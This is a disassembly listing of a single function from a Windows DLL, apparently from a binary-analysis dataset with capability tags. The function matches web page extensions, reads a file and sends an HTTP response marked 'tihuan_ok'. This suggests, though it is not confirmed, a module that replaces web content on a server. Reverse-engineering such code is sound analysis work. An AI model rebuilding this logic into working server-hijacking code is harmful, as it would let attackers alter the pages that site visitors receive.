Function at 0x1800088a0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x18006f010]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov r15, r9
mov r14, rcx
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x10], rax
mov byte [rax], 1
lea rax, str..php
mov qword [rbp - 0x20], rax
lea rax, str..asp
mov qword [rbp - 0x18], rax
lea rax, str..htm
mov qword [rbp - 0x10], rax
lea rax, str..aspx
mov qword [rbp - 8], rax
lea rax, str..html
mov qword [rbp], rax
lea rax, str..shtml
mov qword [rbp + 8], rax
xor bl, bl
lea rdi, [rbp - 0x20]
mov esi, 6
lea r13d, [rsi - 5]
nop
mov rdx, qword [rdi]
mov rcx, r14
call fcn.18002e740
movzx ebx, bl
test rax, rax
cmovne ebx, r13d
lea rdi, [rdi + 8]
sub rsi, r13
jne 0x180008930
movzx edx, bl
lea rcx, [0x1800646b0]
call fcn.180003160
test bl, bl
je 0x180008b28
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
mov r12, qword [rax + 0x220]
test r12, r12
je 0x180008f8e
mov edx, dword [r12]
lea rcx, [0x1800640d8]
call fcn.180003160
mov eax, dword [r12]
cmp eax, r13d
jne 0x180008d91
mov r13, qword [r12 + 0x18]
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [rsp + 0x40], ebx
lea rdx, [rbp - 0x58]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x1800089ce
lea rcx, [0x180064360]
call fcn.180003160
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1800089eb
cmp eax, ebx
jb 0x1800089f7
lea rcx, [0x180064408]
call fcn.180003160
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
xor r14d, r14d
mov esi, r14d
mov qword [rsp + 0x58], r14
test rbx, rbx
je 0x180008a75
cmp rbx, 0x1000
jb 0x180008a42
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x180008fb2
call fcn.18002ac54
test rax, rax
je 0x180008fb8
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180008a4d
mov rcx, rbx
call fcn.18002ac54
mov rdi, rax
mov qword [rsp + 0x48], rdi
lea rsi, [rdi + rbx]
mov qword [rsp + 0x58], rsi
mov r8, rsi
sub r8, rdi
xor edx, edx
mov rcx, rdi
call fcn.18002edd0
mov rbx, rsi
mov qword [rsp + 0x50], rbx
jmp 0x180008a7f
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
mov r9, qword [r12 + 0x10]
mov r8d, dword [rsp + 0x40]
mov rdx, r13
lea rcx, [0x1800646f0]
call fcn.180003160
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180008b58
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_read_file__error:
call fcn.18000fb30
mov edx, ebx
mov rcx, rax
call fcn.18000b800
mov rcx, rax
call fcn.18000f810
mov edx, ebx
lea rcx, [0x180064740]
call fcn.180003160
nop
test rdi, rdi
je 0x180008b28
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x180008b1d
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008fb8
mov rdx, rsi
mov rcx, rdi
call fcn.18002ac20
mov rax, qword [rbp + 0x10]
mov byte [rax], 0
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.18002ac00
mov rbx, qword [rsp + 0x178]
add rsp, 0x130
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x180064788]
call fcn.180003160
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
cmp rdi, rbx
je 0x180008b94
sub rbx, rdi
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.18000d8c0
nop
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea rdx, [0x180072a60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180008bc0
lea rcx, [rbp - 0x78]
call fcn.18000d8c0
nop
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1800054f0
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x78]
inc rcx
call fcn.18002b54c
mov r12, rax
lea r8, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x78]
inc rdx
mov rcx, rax
call fcn.180036da8
mov dword [rbp - 0x20], r14d
mov qword [rbp - 0x18], r12
mov rax, rbx
inc rax
cmp byte [r12 + rax], 0
jne 0x180008c26
movzx eax, ax
mov dword [rbp - 0x10], eax
movups xmm0, xmmword [str.Accept_Encoding]
movups xmmword [rbp + 0x10], xmm0
mov rax, qword [r15]
lea rcx, [rbp + 0x10]
nop dword [rax + rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x180008c50
mov r9, rbx
mov dword [rsp + 0x20], 1
lea r8, [rbp + 0x10]
lea rdx, str.Vary
mov rcx, r15
call qword [rax + 0x28]
mov rax, qword [r15]
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, r15
call qword [rax + 0xa0]
mov rdx, qword [r15]
mov r10, qword [rdx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], r14d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], eax
test eax, eax
jns 0x180008cb5
mov edx, 0x1f4
lea r8, str.Server_Error
jmp 0x180008cc1
mov edx, 0xc8
lea r8, str.tihuan_ok
call r10
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x180008d01
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008cfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008fbe
call fcn.18002ac20
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x180008d3d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008fc4
call fcn.18002ac20
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
test rdi, rdi
je 0x180008d87
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x180008d7c
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008fca
mov rdx, rsi
mov rcx, rdi
call fcn.18002ac20
mov eax, 2
jmp 0x180008b31
test eax, eax
jne 0x180008b28
mov rdi, qword [r12 + 8]
mov ebx, dword [r12 + 0x10]
mov edx, ebx
lea rcx, [0x1800641f0]
call fcn.180003160
xor r14d, r14d
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r14b
mov r8d, ebx
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.18000d8c0
nop
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
lea rcx, [0x180064220]
call fcn.180003160
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r14b
lea rdx, [0x180072a60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180008e20
lea rcx, [rbp - 0x78]
call fcn.18000d8c0
nop
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1800054f0
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x78]
inc rcx
call fcn.18002b54c
mov rdi, rax
lea r8, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x78]
inc rdx
mov rcx, rax
call fcn.180036da8
mov dword [rbp - 0x20], r14d
mov qword [rbp - 0x18], rdi
mov rax, rbx
inc rax
cmp byte [rdi + rax], 0
jne 0x180008e86
mov dword [rbp - 0x10], eax
movups xmm0, xmmword [str.Accept_Encoding]
movups xmmword [rbp + 0x10], xmm0
mov rax, qword [r15]
lea rcx, [rbp + 0x10]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x180008ea4
mov r9, rbx
mov dword [rsp + 0x20], r13d
lea r8, [rbp + 0x10]
lea rdx, str.Vary
mov rcx, r15
call qword [rax + 0x28]
mov rax, qword [r15]
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, r15
call qword [rax + 0xa0]
mov rcx, qword [r15]
mov r10, qword [rcx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], r14d
mov rcx, r15
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], eax
test eax, eax
jns 0x180008f06
mov edx, 0x1f4
lea r8, str.Server_Error
jmp 0x180008f12
mov edx, 0xc8
lea r8, str.tihuan_ok
call r10
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x180008f4e
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008fa6
call fcn.18002ac20
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x180008d87
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008fac
jmp 0x180008d82
xor edx, edx
lea rcx, [0x180064108]
call fcn.180003160
mov eax, 2
jmp 0x180008b31
call fcn.1800367e4
nop
call fcn.1800367e4
int3
call fcn.180001b40
int3
call fcn.1800367e4
nop
call fcn.1800367e4
nop
call fcn.1800367e4
nop
call fcn.1800367e4
int3